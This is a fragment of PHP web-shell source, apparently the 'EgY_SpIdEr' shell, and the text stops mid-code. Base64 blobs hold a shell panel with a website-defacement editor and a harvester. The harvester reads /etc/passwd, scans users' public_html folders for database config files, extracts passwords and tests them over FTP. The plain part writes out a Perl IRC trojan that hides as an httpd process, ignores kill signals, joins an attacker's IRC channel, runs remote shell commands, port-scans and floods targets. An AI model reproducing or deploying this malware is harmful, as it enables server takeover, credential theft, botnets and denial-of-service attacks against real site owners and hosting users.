WJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8Pw0KfQ0KaWYgKCRhY3Q9PSdjb25maWcnKQ0Kew0KPz4NCjxmb3JtIG5hbWU9Im15Zm9ybSIgYWN0aW9uPSI/YWN0PXJlY29uZmlnIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q09ORklHIFBBVEg6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJSZWFkIiAvPjwvdGg+DQo8dHI+PHRkPlBBVEggOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0icGF0aCIgdmFsdWU9Ii9ob21lL2hhY2tlZC9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdD09J2luZGV4JykNCnsNCi8vIEluZGV4IEVkaXRvcjxIVE1MIEVkaXRvcj4NCj8+DQo8c2NyaXB0IGxhbmd1YWdlPSdqYXZhc2NyaXB0Jz4NCmZ1bmN0aW9uIGxpbmsoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlclRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCnZhciB5ID0gcHJvbXB0KCJFbnRlcmxpbmsiLCIiKQ0KaWYgKHk9PSIiIHwgeT09bnVsbCApIHsNCnJldHVybjsNCn0NCg0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8YSBocmVmPSIgKyB5ICsiPiIrWCsiPC9hPiI7DQoNCn0NCg0KZnVuY3Rpb24gcmlnaHQoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBUZXh0IiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxwIGFsaWduPSdyaWdodCc+IitYKyI8L3A+IjsNCg0KfQ0KZnVuY3Rpb24gbGVmdCgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPHAgYWxpZ249J2xlZnQnPiIrWCsiPC9wPiI7DQoNCn0NCmZ1bmN0aW9uIGNlbnRlcigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGNlbnRlcj4iK1grIjwvY2VudGVyPiI7DQoNCn0NCmZ1bmN0aW9uIGNvbG91cigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KdmFyIHkgPSBwcm9tcHQoIkVudGVyQ29sb3VyIiwiIikNCmlmICh5PT0iIiB8IHk9PW51bGwgKSB7DQpyZXR1cm47DQp9DQoNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGZvbnQgY29sb3I9IiArIHkgKyI+IitYKyI8L2ZvbnQ+IjsNCg0KfQ0KZnVuY3Rpb24gYigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEI+IitYKyI8L0I+IjsNCg0KfQ0KZnVuY3Rpb24gdSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPFU+IitYKyI8L1U+IjsNCg0KfQ0KZnVuY3Rpb24gaSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEk+IitYKyI8L0k+IjsNCg0KfQ0KZnVuY3Rpb24gbWFyKCl7DQp2YXIgWCA9IHByb21wdCgiRW50ZXIgVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8bWFycXVlZT4iK1grIjwvbWFycXVlZT4iOw0KDQp9DQpmdW5jdGlvbiBpbWcoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBsaW5rIiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxpbWcgc3JjPSciK1grIic+PC9pbWc+IjsNCg0KfQ0KZnVuY3Rpb24gYnIoKXsNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGJyPiI7DQoNCn0NCjwvc2NyaXB0Pg0KPHRhYmxlIGJvcmRlcj0iMSIgYm9yZGVyY29sb3I9IiMwMDgwMDAiIGJvcmRlcmNvbG9yZGFyaz0iIzAwODAwMCINCmJvcmRlcmNvbG9ybGlnaHQ9IiMwMDgwMDAiPjx0aD48YSBvbmNsaWNrPSdyZXR1cm4gY2VudGVyKCknPkNlbnRlcjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBsZWZ0KCknPkxlZnQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gcmlnaHQoKSc+cmlnaHQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gYigpJz5Cb2xkPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIHUoKSc+VW5kZXJMaW5lPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGkoKSc+SXRhbGljPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGJyKCknPk5ld0xpbmU8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gY29sb3VyKCknPkNvbG91cjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBtYXIoKSc+TWFycXVlZSB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGltZygpJz5QaWN0dXJlPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGxpbmsoKSc+TGluazwvYT48L2E+PC90aD48dHI+PFREPg0KPGNlbnRlcj48Zm9ybSBuYW1lPSJpbmRleGZvcm0iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTQnIGNvbHM9Jzg2Jz48L3RleHRhcmVhPjwvcD4NCjwvZm9ybT48L2Zvcm0+PC9jZW50ZXI+DQo8L1REPjwvdHI+PHRyPjx0ZD5Db3B5IFRoZSBDb2RlIGFmdGVyIEZpbmlzaGluZyB5b3VyIGluZGV4PC90ZD48L3RyPjwvdGFibGU+DQo8Pw0KfQ0KPz4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dHI+PHRkPjxhIGhyZWY9Ij8iPk1haW4gU2hlbGw8L2E+PC90ZD48dGQ+PGEgaHJlZj0iP2FjdD11c2VycyI+TGlzdCBVc2VyczwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWluZGV4Ij5JbmRleCBNYWtlcjwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWNvbmZpZyI+UmVhZENvbmZpZzwvYT48L3RkPjwvdHI+PC90YWJsZT4NCjxwIGFsaWduPSJjZW50ZXIiPnd3dy5lZ3lzcGlkZXIuZXU8L3A+DQo8RElWIGlkPSJuIiBhbGlnbj0iY2VudGVyIj4NCiAgPFRBQkxFIGJvcmRlckNvbG9yPSIjMTExMTExIiBjZWxsU3BhY2luZz0iMCIgY2VsbFBhZGRpbmc9IjAiIHdpZHRoPSIxMDAlIiBib3JkZXI9IjEiPg0KICAgIDxUQk9EWT4NCiAgICAgIDxUUj4NCiAgICAgICAgPFREIHdpZHRoPSIxMDAlIj48cCBhbGlnbj0iY2VudGVyIj48U1RST05HPm8tLS1bIEVnWV9TcElkRXIgfCB8IDxBIGVneV9zcGlkZXJAaG90bWFpbC5jb20+ZWd5X3NwaWRlckBob3RtYWlsLmNvbTwvQT4gICBdLS0tbzwvU1RST05HPjwvcD48L1REPg0KICAgICAgPC9UUj4NCiAgICA8L1RCT0RZPg0KICA8L1RBQkxFPg0KPC9ESVY+DQo8L2NlbnRlcj4gDQogPC9ib2R5Pg0KPC9odG1sPg=";
3377
3378
3379$egy_cp="PD9waHAgDQplY2hvICI8aHRtbD4iOyANCmVjaG8gIjx0aXRsZT5FZ1lfU3BJZEVyIFNoRWxMIDwvdGl0bGU+PFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCi50ZDEgew0KQk9SREVSOiAxOw0KZm9udDogN3B0IHRhaG9tYTsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KDQoudHIxIHsNCkJPUkRFUjogMTsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCkJPRFkgew0KbWFyZ2luOiAxOw0KY29sb3I6ICMzMzMzMzM7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KQTpsaW5rIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6dmlzaXRlZCB7IENPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTphY3RpdmUge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9DQoNCjwvU1RZTEU+PGJvZHk+IjsgDQoNCnNldF90aW1lX2xpbWl0KDApOyANCiMjIyMjIyMjIyMjIyMjIyMjIyANCkAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsgDQppZiAoISRwYXNzd2QpIHsgDQogIGVjaG8gIlstXSBFcnJvciA6IGNvdWRuJ3QgcmVhZCAvZXRjL3Bhc3N3ZCI7IA0KICBleGl0OyANCn0gDQokcGF0aF90b19wdWJsaWM9YXJyYXkoKTsgDQokdXNlcnM9YXJyYXkoKTsgDQokcGF0aHRvY29uZj1hcnJheSgpOyANCiRpPTA7IA0KDQp3aGlsZSghZmVvZigkcGFzc3dkKSkgeyANCiRzdHI9ZmdldHMoJHBhc3N3ZCk7IA0KaWYgKCRpPjM1KSB7IA0KICAgJHBvcz1zdHJwb3MoJHN0ciwiOiIpOyANCiAgICR1c2VybmFtZT1zdWJzdHIoJHN0ciwwLCRwb3MpOyANCiAgICRkaXJ6PSIvaG9tZS8kdXNlcm5hbWUvcHVibGljX2h0bWwvIjsgDQogICBpZiAoKCR1c2VybmFtZSE9IiIpKSB7IA0KICAgICAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsgDQogICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7IA0KICAgICAgICAgICBhcnJheV9wdXNoKCRwYXRoX3RvX3B1YmxpYywkZGlyeik7IA0KICAgICAgIH0gDQogICB9IA0KfSANCiRpKys7IA0KfSANCiMjIyMjIyMjIyMjIyMjIyMjIyMgDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgDQplY2hvICI8YnI+PGJyPiI7IA0KZWNobyAiPHRleHRhcmVhIG5hbWU9J21haW5fd2luZG93JyBjb2xzPTEwMCByb3dzPTIwPiI7IA0KDQplY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigkdXNlcnMpLiIgZW50cnlzIGluIC9ldGMvcGFzc3dkXG4iOyANCmVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwYXRoX3RvX3B1YmxpYykuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIjsgDQoNCmVjaG8gIlt+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcuKiBmaWxlcy4uLlxuXG4iOyANCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgeyANCiAgICAgICAkcGF0aD0iL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsgDQogICAgICAgcmVhZF9kaXIoJHBhdGgsJHVzZXIpOyANCn0gDQoNCmVjaG8gIlxuWytdIERvbmVcbiI7IA0KDQpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCwkdXNlcm5hbWUpIHsgDQogICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpKSB7IA0KICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsgDQogICAgICAgICAgICAgJGZwYXRoPSIkcGF0aCRmaWxlIjsgDQogICAgICAgICAgICAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSkgeyANCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGZwYXRoKSkgeyANCiAgICAgICAgICAgICAgICAgICAkZHI9IiRmcGF0aC8iOyANCiAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRkcikpIHsgDQogICAgICAgICAgICAgICAgICAgICAgcmVhZF9kaXIoJGRyLCR1c2VybmFtZSk7IA0KICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZmlsZT09J2NvbmZpZy5waHAnKSBvciAoJGZpbGU9PSdjb25maWcuaW5jLnBocCcpIG9yICgkZmlsZT09J2RiLmluYy5waHAnKSBvciAoJGZpbGU9PSdjb25uZWN0LnBocCcpIG9yICgkZmlsZT09J3dwLWNvbmZpZy5waHAnKSBvciAoJGZpbGU9PSd2YXIucGhwJykgb3IgKCRmaWxlPT0nY29uZmlndXJlLnBocCcpIG9yICgkZmlsZT09J2RiLnBocCcpIG9yICgkZmlsZT09J2RiX2Nvbm5lY3QucGhwJykpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFzcz1nZXRfcGFzcygkZnBhdGgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGFzcyE9JycpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbK10gJGZwYXRoXG4kcGFzc1xuIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdHBfY2hlY2soJHVzZXJuYW1lLCRwYXNzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgfSANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGdldF9wYXNzKCRsaW5rKSB7IA0KICAgQCRjb25maWc9Zm9wZW4oJGxpbmssJ3InKTsgDQogICB3aGlsZSghZmVvZigkY29uZmlnKSkgeyANCiAgICAgICAkbGluZT1mZ2V0cygkY29uZmlnKTsgDQogICAgICAgaWYgKHN0cnN0cigkbGluZSwncGFzcycpIG9yIHN0cnN0cigkbGluZSwncGFzc3dvcmQnKSBvciBzdHJzdHIoJGxpbmUsJ3Bhc3N3ZCcpKSB7IA0KICAgICAgICAgICBpZiAoc3RycnBvcygkbGluZSwnIicpKSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwnIicpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwiJyIpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgcmV0dXJuICRwYXNzOyANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGZ0cF9jaGVjaygkbG9naW4sJHBhc3MpIHsgDQogICAgQCRmdHA9ZnRwX2Nvbm5lY3QoJzEyNy4wLjAuMScpOyANCiAgICBpZiAoJGZ0cCkgeyANCiAgICAgICBAJHJlcz1mdHBfbG9naW4oJGZ0cCwkbG9naW4sJHBhc3MpOyANCiAgICAgICBpZiAoJHJlcykgeyANCiAgICAgICAgICBlY2hvICdbRlRQXSAnLiRsb2dpbi4nOicuJHBhc3MuIiAgU3VjY2Vzc1xuIjsgDQogICAgICAgfSANCiAgICAgICBlbHNlIGZ0cF9xdWl0KCRmdHApOyANCiAgICB9IA0KfSANCg0KZWNobyAiPC90ZXh0YXJlYT48YnI+IjsgDQoNCmVjaG8gIjwvYm9keT48L2h0bWw+IjsgDQo/Pg=";
3380
3381
3382
3383
3384if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !empty($_POST['ircchanal']) AND !empty($_POST['ircname']))
3385{
3386$ircadmin=$_POST['ircadmin'];
3387$ircserver=$_POST['ircserver'];
3388$ircchan=$_POST['ircchanal'];
3389$irclabel=$_POST['ircname'];
3390echo "<title>OverclockiX Shell-Connector || Connecting to $ircserver<title>";
3391echo "<body bgcolor=\"black\" text=\"green\">";
3392echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>";
3393echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>";
3394#######################################################
3395######################IRC Trojan##########################
3396$file="
3397################ CONFIGURACAO #################################################################
3398my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
3399#----------------------------------------------################################################
3400my \$linas_max='48'; # Evita o flood :) depois de X linhas #
3401#----------------------------------------------################################################
3402my \$sleep='4'; # ele dorme X segundos #
3403##################### IRC #####################################################################
3404my @adms=(\"$ircadmin\"); # Nick do administrador #
3405#----------------------------------------------################################################
3406my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") #
3407#----------------------------------------------################################################
3408my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer #
3409 # aparecer com numero radonamico no final #
3410#----------------------------------------------################################################
3411my \$ircname = 'Linux'; # User ID #
3412#----------------------------------------------################################################
3413chop (my \$realname = `uname -a`); # Full Name #
3414#----------------------------------------------################################################
3415\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado #
3416 # caso n?o seja especificado no argumento #
3417#----------------------------------------------################################################
3418my \$porta='6667'; # Porta do servidor de irc #
3419################ ACESSO A SHELL ###############################################################
3420my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
3421###############################################################################################
3422my \$VERSAO = '0.2';
3423\$SIG{'INT'} = 'IGNORE';
3424\$SIG{'HUP'} = 'IGNORE';
3425\$SIG{'TERM'} = 'IGNORE';
3426\$SIG{'CHLD'} = 'IGNORE';
3427\$SIG{'PS'} = 'IGNORE';
3428\$SIG{'STOP'} = 'IGNORE';
3429use IO::Socket;
3430use Socket;
3431use IO::Select;
3432chdir(\"/\");
3433\$servidor=\"\$ARGV[0]\" if \$ARGV[0];
3434$0=\"\$processo\".\"\0\"x16;;
3435my \$pid=fork;
3436exit if \$pid;
3437die \"Problema com o fork: $!\" unless defined(\$pid);
3438my \$dcc_sel = new IO::Select->new();
3439#############################
3440# B0tchZ na veia ehehe :P #
3441#############################
3442
3443
3444\$sel_cliente = IO::Select->new();
3445sub sendraw {
3446 if ($#_ == '1') {
3447 my \$socket = \$_[0];
3448 print \$socket \"\$_[1]\\n\";
3449 } else {
3450 print \$IRC_cur_socket \"\$_[0]\\n\";
3451 }
3452}
3453#################################
3454sub conectar {
3455 my \$meunick = \$_[0];
3456 my \$servidor_con = \$_[1];
3457 my \$porta_con = \$_[2];
3458
3459
3460 my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
3461 if (defined(\$IRC_socket)) {
3462 \$IRC_cur_socket = \$IRC_socket;
3463
3464
3465 \$IRC_socket->autoflush(1);
3466 \$sel_cliente->add(\$IRC_socket);
3467
3468
3469 \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
3470 \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
3471 \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
3472 \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
3473 nick(\"\$meunick\");
3474 sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
3475 sleep 1;
3476 }
3477} #####################
3478
3479
3480my \$line_temp;
3481while( 1 ) {
3482 while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
3483 delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
3484 &DCC::connections;
3485 my @ready = \$sel_cliente->can_read(0);
3486 next unless(@ready);
3487 foreach \$fh (@ready) {
3488 \$IRC_cur_socket = \$fh;
3489 \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
3490 \$nread = sysread(\$fh, \$msg, 4096);
3491 if (\$nread == 0) {
3492 \$sel_cliente->remove(\$fh);
3493 \$fh->close;
3494 delete(\$irc_servers{\$fh});
3495 }
3496 @lines = split (/\\n/, \$msg);
3497
3498
3499 for(my \$c=0; \$c<= $#lines; \$c++) {
3500 \$line = \$lines[\$c];
3501 \$line=\$line_temp.\$line if (\$line_temp);
3502 \$line_temp='';
3503 \$line =~ s/\\r$//;
3504 unless (\$c == $#lines) {
3505 parse(\"\$line\");
3506 } else {
3507 if ($#lines == 0) {
3508 parse(\"\$line\");
3509 } elsif (\$lines[\$c] =~ /\\r$/) {
3510 parse(\"\$line\");
3511 } elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
3512 parse(\"\$line\");
3513 } else {
3514 \$line_temp = \$line;
3515 }
3516 }
3517 }
3518 }
3519}
3520
3521
3522#########################
3523
3524
3525
3526
3527sub parse {
3528 my \$servarg = shift;
3529 if (\$servarg =~ /^PING \:(.*)/) {
3530 sendraw(\"PONG :$1\");
3531 } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
3532 my \$pn=$1; my \$onde = $4; my \$args = $5;
3533 if (\$args =~ /^\\001VERSION\\001$/) {
3534 notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\");
3535 }
3536 if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) {
3537 if (\$onde eq \"\$meunick\"){
3538 shell(\"\$pn\", \"\$args\");
3539 }
3540 if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) {
3541 my \$natrix = $1;
3542 my \$arg = $2;
3543 if (\$arg =~ /^\!(.*)/) {
3544 ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/);
3545 } elsif (\$arg =~ /^\@(.*)/) {
3546 \$ondep = \$onde;
3547 \$ondep = \$pn if \$onde eq \$meunick;
3548 bfunc(\"\$ondep\",\"$1\");
3549 } else {
3550 shell(\"\$onde\", \"\$arg\");
3551 }
3552 }
3553 }
3554 } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
3555 if (lc($1) eq lc(\$meunick)) {
3556 \$meunick=$4;
3557 \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
3558 }
3559 } elsif (\$servarg =~ m/^\:(.+?)\s+433/i) {
3560 nick(\"\$meunick\".int rand(9999));
3561 } elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
3562 \$meunick = $2;
3563 \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
3564 \$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\";
3565 foreach my \$canal (@canais) {
3566 sendraw(\"JOIN \$canal\");
3567 }
3568 }
3569}
3570##########################
3571
3572
3573sub bfunc {
3574 my \$printl = \$_[0];
3575 my \$funcarg = \$_[1];
3576 if (my \$pid = fork) {
3577 waitpid(\$pid, 0);
3578 } else {
3579 if (fork) {
3580 exit;
3581 } else {
3582 if (\$funcarg =~ /^portscan (.*)/) {
3583 my \$hostip=\"$1\";
3584 my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\");
3585 my (@aberta, %porta_banner);
3586 foreach my \$porta (@portas) {
3587 my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
3588 if (\$scansock) {
3589 push (@aberta, \$porta);
3590 \$scansock->close;
3591 }
3592 }
3593
3594
3595 if (@aberta) {
3596 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\");
3597 } else {
3598 sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\");
3599 }
3600 }
3601 if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
3602 my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\");
3603 \$dtime = 1 if \$dtime == 0;
3604 my %bytes;
3605 \$bytes{igmp} = $2 * \$pacotes{igmp};
3606 \$bytes{icmp} = $2 * \$pacotes{icmp};
3607 \$bytes{o} = $2 * \$pacotes{o};
3608 \$bytes{udp} = $2 * \$pacotes{udp};
3609 \$bytes{tcp} = $2 * \$pacotes{tcp};
3610
3611
3612 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\");
